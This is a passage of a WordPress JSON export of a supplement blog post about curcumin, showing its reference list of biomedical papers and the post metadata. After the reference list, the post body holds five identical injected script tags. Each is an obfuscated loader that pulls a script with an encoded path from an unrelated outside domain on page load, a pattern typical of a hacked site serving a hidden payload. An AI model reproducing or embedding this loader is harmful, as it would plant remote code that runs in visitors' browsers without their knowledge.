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Analogs With Potent Activity Against Trypanosoma and Leishmania Species.\"; European Journal of Medicinal Chemistry; U.S. National Library of Medicine; 2010\uff1b<\/em><\/li>\n\n\n\n<li><em>Bierhaus, A et al; \"The dietary pigment curcumin reduces endothelial tissue factor gene expression by inhibiting binding of AP-1 to DNA and activation of NF-kappa B.\"; Thrombosis and haemostasis; vol. 77,4; 1997; 772-82\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Dickinson, Dale A et al; \"Curcumin alters EpRE and AP-1 binding complexes and elevates glutamate-cysteine ligase gene expression.\"; FASEB journal : official publication of Federation of American Societies for Experimental Biology 17,3; 2003; 473-5\uff1b<\/em><\/li>\n\n\n\n<li><em>Beevers, Christopher S et al; \"Curcumin disrupts Mammalian target of rapamycin-raptor complex.\"; Cancer research; vol. 69,3; 2009; 1000-8\uff1b<\/em><\/li>\n\n\n\n<li><em>Leu, Tzeng-Horng et al; \"Direct inhibitory effect of curcumin on Src and focal adhesion kinase activity.\"; Biochemical pharmacology; vol. 66,12; 2003; 2323-31\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Lieu, Christopher, and Scott Kopetz; \"The SRC family of protein tyrosine kinases: a new and promising target for colorectal cancer therapy.\"; Clinical colorectal cancer; vol. 9,2; 2010; 89-94\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Noorafshan A, Ashkani-Esfahani S; \"A review of therapeutic effects of curcumin\"; Curr Pharm Des; 19(11):2032-2046; 2013\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Lawrence, Toby; \"The nuclear factor NF-kappaB pathway in inflammation.\"; Cold Spring Harbor perspectives in biology; vol. 1,6; 2009; a001651\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Zhou, Hongyu et al; \"The targets of curcumin.\"; Current drug targets; vol. 12,3; 2011; 332-47; Jurenka, Julie S; \"Anti-inflammatory properties of curcumin, a major constituent of Curcuma longa: a review of preclinical and clinical research.\"; Alternative medicine review : a journal of clinical therapeutic; vol. 14,2; 2009; 141-53\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Esmaily, Habibollah et al; \"An investigation of effects of curcumin on anxiety and depression in obese individuals\uff1aA randomized controlled trial.\"; Chinese journal of integrative medicine; vol. 21,5; 2015; 332-8\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>DiSilvestro, Robert A et al; \"Diverse effects of a low dose supplement of lipidated curcumin in healthy middle aged people.\".Nutrition journal; vol. 11; 79; 26 Sep. 2012\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Aggarwal, Bharat B; \"Targeting inflammation-induced obesity and metabolic diseases by curcumin and other nutraceuticals.\"; Annual review of nutrition; vol. 30; 2010; 173-99\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Anand, Preetha et al; \"Bioavailability of curcumin: problems and promises.\".Molecular pharmaceutics vol.4,6; 2007; 807-18\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>J<\/em><em>\u04d3<\/em><em>ger, Ralf et al. \"Comparative Absorption of Curcumin Formulations.\"; Nutrition Journal; BioMed Central; 2014\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Shoba, G et al; \"Influence of piperine on pharmacokinetics of curcumin in animals and human volunteers.\"; Planta medica; vol. 64,4; 1998; 353-6\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Sandur, Santosh K et al; \"Curcumin, demethoxycurcumin, bisdemethoxycurcumin, tetrahydrocurcumin and turmerones differentially regulate anti-inflammatory and anti-proliferative responses through ROS-independent mechanism\"; Carcinogenesis; vol.28,8; 2007; 1765-73\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Vareed, Shaiju K et al; \"Pharmacokinetics of curcumin conjugate metabolites in healthy human subjects.\"; Cancer epidemiology, biomarkers &amp; prevention : a publication of American Association for Cancer Research, cosponsored by American Society of Preventive Oncology; vol. 17,6; 2008; 1411-7\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Ireson, Christopher R et al; \"Metabolism of cancer chemopreventive agent curcumin in human and rat intestine.\"; Cancer epidemiology, biomarkers &amp; prevention : a publication of American Association for Cancer Research, cosponsored by American Society of Preventive Oncology; vol. 11,1; 2002; 105-11\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Ireson, Christopher R et al; \"Metabolism of cancer chemopreventive agent curcumin in human and rat intestine.\"; Cancer epidemiology, biomarkers &amp; prevention : a publication of American Association for Cancer Research, cosponsored by American Society of Preventive Oncology; vol. 11,1; 2002; 105-11\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Pan, M H et al; \"Biotransformation of curcumin through reduction and glucuronidation in mice.\"; Drug metabolism and disposition: the biological fate of chemicals; vol. 27,4; 1999; 486-94\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Holder, G M et al; \"The metabolism and excretion of curcumin (1,7-bis-(4-hydroxy-3-methoxyphenyl)-1,6-heptadiene-3,5-dione) in rat.\"; Xenobiotica: the fate of foreign compounds in biological systems; vol. 8,12; 1978; 761-8\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Aggarwal, Bharat B et al; \"Curcumin differs from tetrahydrocurcumin for molecular targets, signaling pathways and cellular responses.\"; Molecules (Basel, Switzerland); vol. 20,1; 185-205; 24 Dec. 2014\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Khopde, S M et al; \"Inhibition of radiation-induced lipid peroxidation by tetrahydrocurcumin: possible mechanism by pulse radiolysis.\"; Bioscience, biotechnology, and biochemistry; vol. 64,3; 2000; 503-9\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Naito, Michitaka et al; \"The protective effects of tetrahydrocurcumin on oxidative stress in cholesterol-fed rabbits.\"; Journal of atherosclerosis and thrombosis; vol. 9,5; 2002; 243-50\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Zhang Q. et al; \"Circulating Oxidized Low-Density Lipoprotein is a Strong Risk Factor for Early Stage of Coronary Heart Disease\"; IUBMB Life; 71(2:277-282; February 2019\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Holvoet P. et al; \"The relationship between oxidized LDL and other cardiovascular risk factors and subclinical CVD in different ethnic groups: the Multi-Ethnic Study of Atherosclerosis (MESA)\"; Atherosclerosis; 194(1):245-52; September 2007\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Bartlett, Jacquelaine et al; \"Isolated Low High-Density Lipoprotein Cholesterol a Cardiovascular Disease Risk Factor?New Insights From the Framingham Offspring Study\"; Circulation; Cardiovascular Quality and Outcomes; vol. 9,3\uff1a206-212; 2016;&nbsp;<\/em><\/li>\n\n\n\n<li><em>Bertsch, Ruth Ann, and Maqdooda A Merchant; \"Study of Use of Lipid Panels as a Marker of Insulin Resistance to Determine Cardiovascular Risk\"; The Permanente Journal; vol. 19,4: 4-10; 2015\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Wang, et al; \"Efficacy of cholesterol levels and ratios in predicting future coronary heart disease in a Chinese population\"; American Journal of Cardiology; 88(7):737-43; October 2001\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Jeppesen, J\u00f8rgen, Ole Hein, Hans, Suadicani, Poul; et al; \"Low Triglycerides-High High-Density Lipoprotein Cholesterol and Risk of Ischemic Heart Disease\"; Archives of Internal Medicine; 161(3):361-366; 2001\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Somparn, Poorichaya et al; \"Comparative antioxidative activities of curcumin and its demethoxy and hydrogenated derivatives.\"; Biological &amp; pharmaceutical bulletin; vol. 30,1; 2007; 74-8\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Pari L, Murugan P; \"Effect of tetrahydrocurcumin on blood glucose, plasma insulin and hepatic key enzymes in streptozotocin induced diabetic rats\"; Journal of Basic and Clinical Physiology and Pharmacology; 16(4):257-74; 2005\uff1b<\/em><\/li>\n\n\n\n<li><em>Mukhopadhyay, A et al; \"Anti-inflammatory and irritant activities of curcumin analogues in rats.\"; Agents and actions; vol. 12,4; 1982; 508-15\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Zingg, Jean-Marc et al; \"Regulatory effects of curcumin on lipid accumulation in monocytes\/macrophages\"; Journal of cellular biochemistry; vol. 113,3; 2012; 833-40\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Purves D, Augustine GJ, Fitzpatrick D, et al.Sunderland (MA): Sinauer Associates; 2001.\u30a2\u30bb\u30c1\u30eb\u30b3\u30ea\u30f3\u3002&nbsp;<\/em><\/li>\n\n\n\n<li><em>Hasselmo ME; \"The role of acetylcholine in learning and memory; \"Curr Opin Neurobiol.2006;16(6):710-715;&nbsp;<\/em><\/li>\n\n\n\n<li><em>\u30b8\u30e7\u30fc\u30f3\u30baBE\uff1b\u300c\u899a\u9192\u304b\u3089\u7761\u7720\u3078\uff1a\u795e\u7d4c\u7d30\u80de\u3068\u5316\u5b66\u57fa\u8cea\u300d\u3002Trends Pharmacol.Sci.; 2005; 26 (11): 578-86\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Nakmareong S, et al; \"Antioxidant and vascular protective effects of curcumin and tetrahydrocurcumin in rats with L-NAME-induced hypertension\"; Naunyn Schmiedebergs Arch Pharmacol; 383(5):519-29; May 2011; doi: 10.1007\/s00210-011-0624-z\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Zhang, Zhen-Biao, et al; \"Curcumin's Metabolites, Tetrahydrocurcumin and Octahydrocurcumin, Possess Superior Anti-Inflammatory Effects in Vivo Through Suppression of TAK1-NF-\u039aB Pathway\"; Frontiers; Frontiers; 28 Sept\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Lopez-Castejon, Gloria, and David Brough; \"Understanding mechanism of IL-1\u03b2 secretion.\"; Cytokine &amp; growth factor reviews; vol. 22,4; 2011; 189-95\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Tanaka, Toshio et al; \"IL-6 in inflammation, immunity, and disease.\"; Cold Spring Harbor perspectives in biology; vol. 6,10;4 Sep. 2014\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Sethi, Gautam, et al; \"TNF: A master switch for inflammation to cancer.\"; Cytokine Research Laboratory, Department of Experimental Therapeutics, The University of Texas M.D. Anderson Cancer Center\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Pari L, Murugan P; \"Antihyperlipidemic effect of curcumin and tetrahydrocurcumin in experimental type 2 diabetic rats\"; Renal Failure; 31 Dec 2006; 29(7); 881-889\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Murugan, Pidaran, and Leelavinothan Pari; \"Antioxidant effect of tetrahydrocurcumin in streptozotocin-nicotinamide induced diabetic rats.\"; Life sciences; vol. 79,18; 2006; 1720-8\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Novelli, M., et al; \"Metabolic and Functional Studies on Islets in a Isolated Rat Model of Type 2 Diabetes.\"; Molecular and Cellular Endocrinology; Elsevier; 20 Apr. 2001\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Zhang, Dong-Wei et al; \"Curcumin and diabetes: systematic review.\"; Evidence-based complementary and alternative medicine : eCAM; vol. 2013; 2013; 636053\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>DiNicolantonio, James J et al; \"The Evidence for Saturated Fat and for Sugar Related to Coronary Heart Disease\"; Progress in cardiovascular diseases; vol.58,5; 2016; 464-72\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>James, Philip E., et al; \"Vasorelaxation by Red Blood Cells and Impairment in Diabetes.\"; Circulation Research; 12 Feb. 2004\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Tepareenan P, Suksamrarn; \"Curcumin and Tetrahydrocurcumin Restore the Impairment of Endothelium-dependent Vasorelaxation Induced by Homocystein Thiolactone in Rat Aortic Rings.\"; International Journal of Pharmacology; 2012; 8(2); 128-133\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Nakmareong S, Kukongviriyapan U, Pakdeechote P, et al; \"Tetrahydrocurcumin alleviates hypertension, aortic stiffening and oxidative stress in rats with nitric oxide deficiency\"; Hypertension Research; 383(5); 519-529; 2011\uff1b&nbsp;<\/em><\/li>\n\n\n\n<li><em>Lee, Ursula E, and Scott L Friedman; \"Mechanisms of hepatic fibrogenesis.\"; Best practice &amp; research.Clinical gastroenterology; vol. 25,2; 2011; 195-206\uff1b&nbsp;<\/em><\/li>\n<\/ol>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>If there\u2019s one ingredient that\u2019s as popular in the health supplement world as it is in the sports supplement industry, it\u2019s curcumin! Although the&nbsp;curcumin&nbsp;ingredient is well known and it has been used in medical practice for centuries, scientific research is finally starting to catch up and dig deeper into the ultimate value of&nbsp;curcumin. Whether you\u2019re [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3571,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"Curcumin","_seopress_titles_desc":"Curcumin\u00a0is a very popular ingredient in the supplement industry. It has a wide range of benefits, but is primarily used to reduce inflammation. Curcumin is the main natural polyphenol found in turmeric, a root herb of the ginger family.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin.webp",811,453,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin-300x168.webp",300,168,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin-768x429.webp",768,429,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin.webp",811,453,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin.webp",811,453,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin.webp",811,453,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin-600x335.webp",600,335,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Anti-cancer-and-antioxidant-Turmeric-Root-Extract-curcumin-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>If there\u2019s one ingredient that\u2019s as popular in the health supplement world as it is in the sports supplement industry, it\u2019s curcumin! Although the&nbsp;curcumin&nbsp;ingredient is well known and it has been used in medical practice for centuries, scientific research is finally starting to catch up and dig deeper into the ultimate value of&nbsp;curcumin. Whether you\u2019re a bodybuilder, weekend warrior, marathon runner or just an amateur weightlifter, it\u2019s well known that too much inflammation can cause a lot of problems. However, it is important to note that not all inflammation is harmful, for example, resistance training causes an inflammatory response in&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ja\/category\/\u696d\u754c\u52d5\u5411\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ja\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/7445"}],"collection":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/comments?post=7445"}],"version-history":[{"count":6,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/7445\/revisions"}],"predecessor-version":[{"id":9768,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/7445\/revisions\/9768"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media\/3571"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media?parent=7445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/categories?post=7445"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/tags?post=7445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}